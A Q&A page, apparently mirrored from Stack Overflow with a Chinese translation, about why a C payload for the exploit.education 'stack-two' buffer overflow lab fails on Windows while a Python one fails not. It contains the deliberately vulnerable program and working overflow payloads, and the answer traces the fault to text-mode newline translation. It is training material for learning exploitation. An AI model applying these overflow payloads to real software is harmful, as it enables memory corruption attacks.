用不同语言编写的相同堆栈溢出漏洞不会给出相同的结果
我正在用 C 语言针对 exploit.education 的 stack-two 编写一个堆栈溢出漏洞利用。< br> stack-two 程序的稍微修改版本如下:
/*
* phoenix/stack-two, by https://exploit.education
* The aim is to change the contents of the changeme variable to 0x0d0a090a
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;
printf("Welcome to stack-two, brought to you by https://exploit.education\n");
char *ptr = getenv("ExploitEducation");
if (ptr == NULL) {
fprintf(stderr, "please set the ExploitEducation environment variable\n");
exit(1);
}
locals.changeme = 0;
strcpy(locals.buffer, ptr);
if (locals.changeme == 0x0d0a090a) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
locals.changeme);
}
exit(0);
}
我的利用如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef unsigned int u32;
int main() {
const int size = 100;
char buffer[size];
memset(buffer, 0, size); // Zero out the buffer
memset(buffer, 'x', 64); // Add 64 'x' to the buffer
u32 changeme = 0x0d0a090a;
memcpy(buffer + 64, &changeme, 4); // appending 0x0d0a090a to buffer
// Printing the buffer
for (int i = 0; i < 68; ++i) {
printf("%c", buffer[i]);
}
// Writing the buffer into a file for testing purpose.
FILE *fd = fopen("bb.bin", "wb");
fwrite(buffer, 1, 68, fd);
fclose(fd);
}
然后按如下方式设置 ExploitEducation 环境变量:
ExploitEducation=$(./a.exe) # a.exe is the exploit binary
这应该有效,但是当我执行 stack-two 输出是:
Welcome to level 2, brought to you by https://exploit.education
Almost! changeme is currently 0x0d090a0d, we want 0x0d0a090a
当我进一步调查并看到 bb.bin
的十六进制转储时,它是正确的,并且剥削应该 工作。
bb.bin的hexdump如下:
00000000: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx
00000010: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx
00000020: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx
00000030: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx
00000040: 0a09 0a0d ....
那么,为什么漏洞利用不起作用呢?为什么此漏洞的 Python 版本(如下所示)可以工作,而 C 版本却不能?
工作漏洞
我有一个用 python 编写的工作漏洞。
import sys
sys.stdout.buffer.write(b"x" * 64 + b"\x0a\x09\x0a\x0d")
编辑:
正如伦丁建议的那样,我尝试改变 u32 changeme = 0x0d0a090a;
改为 uint8_t changeme[] = { 0x0d, 0x0a, 0x09, 0x0a };
,但没有成功。
我还尝试调整字节顺序和用于布局字节的 C 语言结构,但没有任何效果:(。
I was writing a stack overflow exploit in C against stack-two of exploit.education.
A little modified version of the the stack-two program is as follows:
/*
* phoenix/stack-two, by https://exploit.education
* The aim is to change the contents of the changeme variable to 0x0d0a090a
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;
printf("Welcome to stack-two, brought to you by https://exploit.education\n");
char *ptr = getenv("ExploitEducation");
if (ptr == NULL) {
fprintf(stderr, "please set the ExploitEducation environment variable\n");
exit(1);
}
locals.changeme = 0;
strcpy(locals.buffer, ptr);
if (locals.changeme == 0x0d0a090a) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
locals.changeme);
}
exit(0);
}
My exploit is as follows:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef unsigned int u32;
int main() {
const int size = 100;
char buffer[size];
memset(buffer, 0, size); // Zero out the buffer
memset(buffer, 'x', 64); // Add 64 'x' to the buffer
u32 changeme = 0x0d0a090a;
memcpy(buffer + 64, &changeme, 4); // appending 0x0d0a090a to buffer
// Printing the buffer
for (int i = 0; i < 68; ++i) {
printf("%c", buffer[i]);
}
// Writing the buffer into a file for testing purpose.
FILE *fd = fopen("bb.bin", "wb");
fwrite(buffer, 1, 68, fd);
fclose(fd);
}
Then setting ExploitEducation environment variable as follows:
ExploitEducation=$(./a.exe) # a.exe is the exploit binary
This should have worked but when I executed stack-two the output was:
Welcome to level 2, brought to you by https://exploit.education
Almost! changeme is currently 0x0d090a0d, we want 0x0d0a090a
When I investigated furthur and saw the hexdump of bb.bin
, it was correct and the exploit should work.
hexdump of bb.bin is as follows:
00000000: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx
00000010: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx
00000020: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx
00000030: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx
00000040: 0a09 0a0d ....
So, why does the exploit not work? Why does the python version of this exploit (given below) works while the C version does not?
Working Exploit
I have a working exploit written in python.
import sys
sys.stdout.buffer.write(b"x" * 64 + b"\x0a\x09\x0a\x0d")
EDIT:
As Lundin suggested, I tried changingu32 changeme = 0x0d0a090a;
to uint8_t changeme[] = { 0x0d, 0x0a, 0x09, 0x0a };
, but it didn't work.
I also tried playing around with the order of bytes and the C language constructs used to lay out the bytes, but nothing worked :(.
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(1)
问题在于行结尾。
"\x0d\x0a"
是 Windows 风格的行结尾 ("\r\n"
),"\x0a"
是 Linux 风格的行结尾 ("\r\n"
) -样式行结尾("\n"
)。 C 假设它比您更了解,并将 Linux 风格的"\n"
转换为 Windows 风格的"\r\n"
。如果您以"w"
模式而不是"wb"
模式打开bb.bin
文件,您应该会看到同样的情况发生。那么,解决方案是将 stdout 更改为二进制模式。您可以通过重新打开
stdout
使用freopen(NULL,"wb",stdout);
进行流式传输。为了安全起见,您还可以避免printf
并直接写入stdout
,如fwrite(buffer,1,68,stdout);
。作为更一般的提示,使用诸如 xxd 之类的实用程序(例如 ./a.exe | xxd )直接检查输出可以帮助您直接查看实际的输出感兴趣,而不是像您在这里那样意外地修复调试代码中的问题。
The problem is with line endings.
"\x0d\x0a"
is a Windows-style line ending ("\r\n"
) and"\x0a"
is a Linux-style line ending ("\n"
). C assumes it knows better than you and translates the Linux-style"\n"
into a Windows-style"\r\n"
. If you open yourbb.bin
file in"w"
mode instead of"wb"
mode, you should see the same thing happening.The solution, then, is to change
stdout
into binary mode. You can do this by reopening thestdout
stream withfreopen(NULL,"wb",stdout);
. Just to be safe, you can also avoidprintf
and write tostdout
directly likefwrite(buffer,1,68,stdout);
.As a more general tip, examining the output directly with a utility like
xxd
(like./a.exe | xxd
) helps you directly look at the output you're actually interested in, instead of accidentally fixing the problem in your debug code like you did here.